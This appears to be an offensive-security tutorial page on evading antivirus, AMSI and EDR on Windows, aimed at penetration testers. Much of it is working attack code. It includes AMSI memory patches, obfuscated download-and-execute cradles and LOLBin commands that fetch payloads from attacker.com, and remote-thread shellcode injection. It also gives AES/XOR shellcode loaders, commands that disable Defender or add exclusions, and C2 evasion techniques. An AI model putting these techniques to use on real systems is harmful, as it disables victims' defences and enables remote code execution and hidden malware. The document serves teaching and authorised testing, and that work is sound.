Evasion

Evasion & AV Bypass

Getting your tools and payloads past antivirus, EDR, and AMSI

20 min readUpdated 2026-04-18
#evasion#amsi#av-bypass#obfuscation#lolbins#process-injection
TL;DR
  • Modern defences have multiple detection layers — signature, heuristic, and behavioural — each needs a different bypass technique
  • AMSI (Antimalware Scan Interface) is the first obstacle on Windows; bypassing it is often the prerequisite for everything else
  • Living-off-the-Land (LOLBins) uses Microsoft-signed tools that defenders can't simply block
  • Process injection hides malicious code inside legitimate processes
  • The best evasion is behavioural — blend in with normal user/admin activity rather than just avoiding signatures

Prerequisites

  • Completed: Memory & Binary Internals (process injection requires understanding memory)
  • Completed: Exploitation — you need a payload to evade with
  • Windows VM for testing (check your bypasses work before deploying)

Lab: Set up a Windows VM with Defender enabled, no cloud protection. Practice each bypass until it works before combining them. Use antiscan.me (no cloud share) to check detections without submitting to VirusTotal.


Understanding the Detection Stack

Modern Windows has multiple overlapping detection layers:

LayerWhat it doesBypass approach
File-based AVScans files on disk using signatures + heuristicsDon't write to disk, encrypt on disk
AMSIScans script/command content in memory at runtimePatch AMSI in memory, obfuscate strings
ETWWindows event logging at the kernel levelPatch ETW providers (risky)
Behavioural EDRMonitors process behaviour, API calls, networkMimic legitimate behaviour, indirect syscalls
Memory scanningScans running process memory for known patternsEncrypt in-memory, custom loaders
Network detectionIDS/IPS on the wireEncrypt C2, use allowed protocols (HTTPS, DNS)
The Layers Change

Detection technologies evolve faster than bypass techniques become public. A bypass documented publicly will typically be signature-detected within weeks. Focus on understanding the underlying mechanisms, not memorising specific bypasses.


AMSI Bypass

AMSI (Antimalware Scan Interface) is hooked into PowerShell, JScript, VBScript, and the .NET CLR. It passes all executed script content to the registered AV engine before execution.

How AMSI Works

step 1Script InputPowerShell / JScript / .NET assembly
step 2amsi.dll LoadedInjected into the host process
step 3AmsiScanBuffer()Called with the script content
step 4AV Engine ScansInspects the content buffer
step 5Returns VerdictAMSI_RESULT_CLEAN or AMSI_RESULT_DETECTED
step 6Block or AllowDetected → execution blocked

Patching AmsiScanBuffer

powershell
# Classic — patch AmsiScanBuffer to always return clean
# This is DETECTED by modern AV. Used as educational baseline.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}

# Better: reflection-based obfuscation
# Split strings to avoid signature
$a = 'Am'+'si'+'Utils'
$b = 'amsi'+'Init'+'Failed'
[Ref].Assembly.GetType("System.Management.Automation.$a") |
  %{$_.GetField($b,'NonPublic,Static').SetValue($null,$true)}
csharp
// C# — patch AmsiScanBuffer via P/Invoke
// Overwrite the beginning of AmsiScanBuffer with a return instruction
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

IntPtr amsiAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
VirtualProtect(amsiAddr, (UIntPtr)sizeof(byte), 0x40, out uint oldProtect); // PAGE_EXECUTE_READWRITE
Marshal.WriteByte(amsiAddr, 0xC3); // RET instruction
VirtualProtect(amsiAddr, (UIntPtr)sizeof(byte), oldProtect, out _);
These Get Detected

Every specific AMSI bypass published online eventually gets a signature. The technique matters more than the specific bytes. Learn the principle: find a memory location that controls AMSI's behaviour and corrupt it. Vary the approach for each engagement.


PowerShell Obfuscation

Defenders and AMSI look for known PowerShell patterns. Obfuscation breaks the pattern.

powershell
# String concatenation
I'E'X (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
# Equivalent: Invoke-Expression of a downloaded script

# Backtick escaping
I`E`X (New-Object Net.We`bClient).Dow`nloadString('url')

# Character substitution with -replace
('Invoke-Expression' -replace 'I','I') # Toy example — real obfuscation goes deeper

# Case variation (PowerShell is case-insensitive)
iNvOkE-eXpReSSiOn (New-Object Net.WebClient).DownloadString('url')

# Encoding to Base64
$cmd = 'Write-Host "test"'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd))
# Run with: powershell -EncodedCommand BASE64HERE

Recommended tool: Invoke-Obfuscation — multiple obfuscation layers applied programmatically.


Living-off-the-Land Binaries (LOLBins)

LOLBins are legitimate, Microsoft-signed binaries that can be abused for malicious purposes. Since they're signed by Microsoft, they're harder to block.

BinaryAbuseExample
certutil.exeDownload files, decode base64certutil -urlcache -f http://attacker.com/file.exe C:\file.exe
mshta.exeExecute HTA applications remotelymshta http://attacker.com/payload.hta
wmic.exeExecute commands, lateral movementwmic process call create "cmd.exe /c whoami"
rundll32.exeExecute DLLsrundll32 javascript:"\..\mshtml,RunHTMLApplication"
regsvr32.exe"Squiblydoo" — remote SCTregsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll
msiexec.exeDownload+execute MSImsiexec /q /i http://attacker.com/malicious.msi
bitsadmin.exeBackground file downloadbitsadmin /transfer job /download /priority normal http://attacker.com/file C:\file
forfiles.exeCommand executionforfiles /c "cmd /c calc.exe"
LOLBAS Project

The full, maintained list is at lolbas-project.github.io. Every entry includes the binary, what it does, and example commands. Cross-reference with your target environment's defences.


Payload Delivery Without Touching Disk

Fileless techniques keep your payload entirely in memory.

powershell
# Download and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')

# Alternative download methods
IEX (Invoke-WebRequest -Uri 'http://attacker.com/script.ps1').Content

# .NET webrequest (avoids WebClient hooks)
$wc = [System.Net.WebRequest]::Create('http://attacker.com/payload')
$wc.Method = 'GET'
$resp = $wc.GetResponse()
$stream = $resp.GetResponseStream()
$reader = New-Object IO.StreamReader($stream)
IEX $reader.ReadToEnd()

Process Injection

Inject malicious shellcode into a legitimate running process. The malicious code runs in the context of (e.g.) explorer.exe or svchost.exe.

step 1Identify target processtasklistexplorer.exe, svchost.exe
step 2Open handleOpenProcess with required rights
step 3Allocate memoryVirtualAllocEx in remote process
step 4Write shellcodeWriteProcessMemory
step 5ExecuteCreateRemoteThread or APC queue
csharp
// Classic Remote Thread Injection (C# / P/Invoke)
// Gets detected by behavioural EDR — use indirect syscalls for stealth
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,
  MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, allocAddr, shellcode, shellcode.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, out _);

Process Injection Techniques

TechniqueDescriptionDetection risk
Remote ThreadClassic VirtualAllocEx + CreateRemoteThreadHigh — heavily monitored
Process HollowingSpawn suspended process, replace memoryMedium — complex but detectable
DLL InjectionWrite DLL path + LoadLibrary threadMedium
APC InjectionQueue APC to alertable threadMedium
Reflective DLLLoad DLL from memory without LoadLibraryLow — no disk artifact
Process DoppelgängingNTFS transactions + mappingLow — complex
Indirect SyscallsBypass userland hooks by calling syscalls directlyLow

Bypassing Script Execution Policy

Windows PowerShell Execution Policy is not a security control — it's an administrative guardrail.

powershell
# Bypass methods
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ExecutionPolicy Unrestricted
powershell -Command "IEX (Get-Content script.ps1 | Out-String)"

# Encoding
powershell -EncodedCommand BASE64_ENCODED_COMMAND

# Version downgrade (PSv2 has no AMSI, Script Block Logging)
powershell -Version 2 -Command "iex..."   # Works only if .NET 2.0 installed

Defender / Windows Defender Exclusions

powershell
# Check if Defender is running
Get-MpPreference
Get-MpComputerStatus

# Add exclusion (requires admin)
Add-MpPreference -ExclusionPath "C:\Users\Public\Tools"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionProcess "powershell.exe"

# Disable realtime monitoring (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true

# Check current exclusions (potentially find paths already excluded)
(Get-MpPreference).ExclusionPath

Shellcode Encoding and Encryption

Plain shellcode is easily detected. Encoding/encrypting it hides the pattern until execution.

python
# Python — XOR encode shellcode
shellcode = b"\xfc\x48\x83\xe4..."
key = 0x42
encoded = bytes([b ^ key for b in shellcode])

# C decoder stub (run this first to decode, then execute)
# The decoder XORs each byte and jumps to result
csharp
// AES decrypt in memory before injection
using System.Security.Cryptography;

byte[] encryptedShellcode = Convert.FromBase64String("BASE64_CIPHERTEXT");
byte[] key = Encoding.UTF8.GetBytes("YourAESKeyHere!!");
byte[] iv  = Encoding.UTF8.GetBytes("YourInitVector!!");

using var aes = new AesManaged();
aes.Key = key; aes.IV = iv;
byte[] shellcode = aes.CreateDecryptor().TransformFinalBlock(encryptedShellcode, 0, encryptedShellcode.Length);
// Then inject shellcode[]

C2 Traffic Evasion

C2 (Command and Control) traffic needs to blend in with normal network activity.

TechniqueHowDetection avoidance
HTTPS beaconingC2 over TLS to CDN/cloud IPEncrypted, valid cert
Domain frontingRoute through CDN, use legit domain in SNITraffic appears to go to CDN
DNS C2Commands as DNS TXT recordsDNS is often unmonitored
HTTP malleable profilesMimic known software (e.g. Google analytics)Pattern matches legitimate traffic
Jitter + randomised intervalsVary beacon timingAvoids regular-interval detection

Operational Notes

  • Test before deploying — always test your bypass on a clean VM with the same defences as the target. A broken bypass mid-engagement is worse than a clean one that works.
  • Signature rotation — AMSI bypasses and Mimikatz variants get detected within days of public release. Custom modifications or private implementations are required for sustained access.
  • Behavioural detection beats signature detection — if your tool does things that no legitimate software does (e.g., LSASS handle from an Office process), it will get caught regardless of signature avoidance.
  • ETW patching is risky — Event Tracing for Windows is used by EDR. Patching it causes system instability and leaves highly anomalous artefacts. Avoid unless necessary.
  • Chain bypasses — AMSI bypass + encoding + LOLBin delivery + reflective injection is a chain, not individual techniques. Each layer reduces detection.

  • Post-Exploitation — evasion is most important during the post-exploitation phase when you're running sensitive tools
  • Active Directory Exploitation — Mimikatz and Rubeus are flagged by every EDR; evasion is essential for AD attacks
  • Forensics — understanding what artefacts evasion leaves (even when successful) makes you a better attacker